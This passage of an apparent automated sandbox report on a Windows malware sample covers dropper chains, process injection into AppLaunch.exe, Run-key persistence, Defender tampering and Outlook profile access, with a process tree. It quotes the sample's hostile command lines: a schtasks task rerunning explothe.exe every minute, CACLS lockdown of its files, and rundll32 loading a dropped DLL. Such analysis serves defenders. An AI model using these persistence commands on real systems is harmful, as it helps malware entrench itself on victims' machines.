Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
AppLaunch.exe3WS51mb.exeExplorer.EXEpid process 2380 AppLaunch.exe 2380 AppLaunch.exe 3552 3WS51mb.exe 3552 3WS51mb.exe 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE 3284 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3284 Explorer.EXE -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
3WS51mb.exetoolspub2.exepid process 3552 3WS51mb.exe 5844 toolspub2.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 34 IoCs
Processes:
msedge.exemsedge.exepid process 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
AppLaunch.exeExplorer.EXE1368.exe18F8.exekos4.exedescription pid process Token: SeDebugPrivilege 2380 AppLaunch.exe Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeDebugPrivilege 5508 1368.exe Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeDebugPrivilege 6720 18F8.exe Token: SeDebugPrivilege 7824 kos4.exe Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE Token: SeShutdownPrivilege 3284 Explorer.EXE Token: SeCreatePagefilePrivilege 3284 Explorer.EXE -
Suspicious use of FindShellTrayWindow 60 IoCs
Processes:
msedge.exe6B93.exeLzmwAqmV.tmpmsedge.exepid process 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 5196 6B93.exe 1268 LzmwAqmV.tmp 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe -
Suspicious use of SendNotifyMessage 56 IoCs
Processes:
msedge.exemsedge.exepid process 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 1508 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe 5872 msedge.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Broom.exepid process 7912 Broom.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
file.exede4JQ64.exewj8rr70.exePC9OK48.exesN8nU42.exeYn7YC32.exe1Mh58uI0.exe2fQ2662.exe4GV994nU.exe5em9ZI7.exedescription pid process target process PID 4816 wrote to memory of 2788 4816 file.exe de4JQ64.exe PID 4816 wrote to memory of 2788 4816 file.exe de4JQ64.exe PID 4816 wrote to memory of 2788 4816 file.exe de4JQ64.exe PID 2788 wrote to memory of 1820 2788 de4JQ64.exe wj8rr70.exe PID 2788 wrote to memory of 1820 2788 de4JQ64.exe wj8rr70.exe PID 2788 wrote to memory of 1820 2788 de4JQ64.exe wj8rr70.exe PID 1820 wrote to memory of 4480 1820 wj8rr70.exe PC9OK48.exe PID 1820 wrote to memory of 4480 1820 wj8rr70.exe PC9OK48.exe PID 1820 wrote to memory of 4480 1820 wj8rr70.exe PC9OK48.exe PID 4480 wrote to memory of 5036 4480 PC9OK48.exe sN8nU42.exe PID 4480 wrote to memory of 5036 4480 PC9OK48.exe sN8nU42.exe PID 4480 wrote to memory of 5036 4480 PC9OK48.exe sN8nU42.exe PID 5036 wrote to memory of 5096 5036 sN8nU42.exe Yn7YC32.exe PID 5036 wrote to memory of 5096 5036 sN8nU42.exe Yn7YC32.exe PID 5036 wrote to memory of 5096 5036 sN8nU42.exe Yn7YC32.exe PID 5096 wrote to memory of 4372 5096 Yn7YC32.exe 1Mh58uI0.exe PID 5096 wrote to memory of 4372 5096 Yn7YC32.exe 1Mh58uI0.exe PID 5096 wrote to memory of 4372 5096 Yn7YC32.exe 1Mh58uI0.exe PID 4372 wrote to memory of 2380 4372 1Mh58uI0.exe AppLaunch.exe PID 4372 wrote to memory of 2380 4372 1Mh58uI0.exe AppLaunch.exe PID 4372 wrote to memory of 2380 4372 1Mh58uI0.exe AppLaunch.exe PID 4372 wrote to memory of 2380 4372 1Mh58uI0.exe AppLaunch.exe PID 4372 wrote to memory of 2380 4372 1Mh58uI0.exe AppLaunch.exe PID 4372 wrote to memory of 2380 4372 1Mh58uI0.exe AppLaunch.exe PID 4372 wrote to memory of 2380 4372 1Mh58uI0.exe AppLaunch.exe PID 4372 wrote to memory of 2380 4372 1Mh58uI0.exe AppLaunch.exe PID 5096 wrote to memory of 3440 5096 Yn7YC32.exe 2fQ2662.exe PID 5096 wrote to memory of 3440 5096 Yn7YC32.exe 2fQ2662.exe PID 5096 wrote to memory of 3440 5096 Yn7YC32.exe 2fQ2662.exe PID 3440 wrote to memory of 4116 3440 2fQ2662.exe AppLaunch.exe PID 3440 wrote to memory of 4116 3440 2fQ2662.exe AppLaunch.exe PID 3440 wrote to memory of 4116 3440 2fQ2662.exe AppLaunch.exe PID 3440 wrote to memory of 4624 3440 2fQ2662.exe AppLaunch.exe PID 3440 wrote to memory of 4624 3440 2fQ2662.exe AppLaunch.exe PID 3440 wrote to memory of 4624 3440 2fQ2662.exe AppLaunch.exe PID 3440 wrote to memory of 4624 3440 2fQ2662.exe AppLaunch.exe PID 3440 wrote to memory of 4624 3440 2fQ2662.exe AppLaunch.exe PID 3440 wrote to memory of 4624 3440 2fQ2662.exe AppLaunch.exe PID 3440 wrote to memory of 4624 3440 2fQ2662.exe AppLaunch.exe PID 3440 wrote to memory of 4624 3440 2fQ2662.exe AppLaunch.exe PID 3440 wrote to memory of 4624 3440 2fQ2662.exe AppLaunch.exe PID 3440 wrote to memory of 4624 3440 2fQ2662.exe AppLaunch.exe PID 5036 wrote to memory of 3552 5036 sN8nU42.exe 3WS51mb.exe PID 5036 wrote to memory of 3552 5036 sN8nU42.exe 3WS51mb.exe PID 5036 wrote to memory of 3552 5036 sN8nU42.exe 3WS51mb.exe PID 4480 wrote to memory of 1456 4480 PC9OK48.exe 4GV994nU.exe PID 4480 wrote to memory of 1456 4480 PC9OK48.exe 4GV994nU.exe PID 4480 wrote to memory of 1456 4480 PC9OK48.exe 4GV994nU.exe PID 1456 wrote to memory of 2720 1456 4GV994nU.exe AppLaunch.exe PID 1456 wrote to memory of 2720 1456 4GV994nU.exe AppLaunch.exe PID 1456 wrote to memory of 2720 1456 4GV994nU.exe AppLaunch.exe PID 1456 wrote to memory of 2720 1456 4GV994nU.exe AppLaunch.exe PID 1456 wrote to memory of 2720 1456 4GV994nU.exe AppLaunch.exe PID 1456 wrote to memory of 2720 1456 4GV994nU.exe AppLaunch.exe PID 1456 wrote to memory of 2720 1456 4GV994nU.exe AppLaunch.exe PID 1456 wrote to memory of 2720 1456 4GV994nU.exe AppLaunch.exe PID 1820 wrote to memory of 1624 1820 wj8rr70.exe 5em9ZI7.exe PID 1820 wrote to memory of 1624 1820 wj8rr70.exe 5em9ZI7.exe PID 1820 wrote to memory of 1624 1820 wj8rr70.exe 5em9ZI7.exe PID 1624 wrote to memory of 5068 1624 5em9ZI7.exe explothe.exe PID 1624 wrote to memory of 5068 1624 5em9ZI7.exe explothe.exe PID 1624 wrote to memory of 5068 1624 5em9ZI7.exe explothe.exe PID 2788 wrote to memory of 396 2788 de4JQ64.exe 6bk1Rx9.exe PID 2788 wrote to memory of 396 2788 de4JQ64.exe 6bk1Rx9.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
outlook_office_path 1 IoCs
Processes:
5D77.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 5D77.exe -
outlook_win_path 1 IoCs
Processes:
5D77.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 5D77.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"2⤵
- DcRat
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\de4JQ64.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\de4JQ64.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\wj8rr70.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\wj8rr70.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\PC9OK48.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\PC9OK48.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\sN8nU42.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\sN8nU42.exe6⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Yn7YC32.exeC:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Yn7YC32.exe7⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Mh58uI0.exeC:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Mh58uI0.exe8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"9⤵
- Modifies Windows Defender Real-time Protection settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2fQ2662.exeC:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2fQ2662.exe8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"9⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4624 -s 54010⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3WS51mb.exeC:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3WS51mb.exe7⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4GV994nU.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4GV994nU.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5em9ZI7.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5em9ZI7.exe5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F7⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"8⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "explothe.exe" /P "Admin:N"8⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "explothe.exe" /P "Admin:R" /E8⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\fefffe8cea" /P "Admin:N"8⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\fefffe8cea" /P "Admin:R" /E8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"8⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main7⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6bk1Rx9.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6bk1Rx9.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7hB3sd56.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7hB3sd56.exe3⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\D021.tmp\D022.tmp\D023.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7hB3sd56.exe"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47186⤵
-
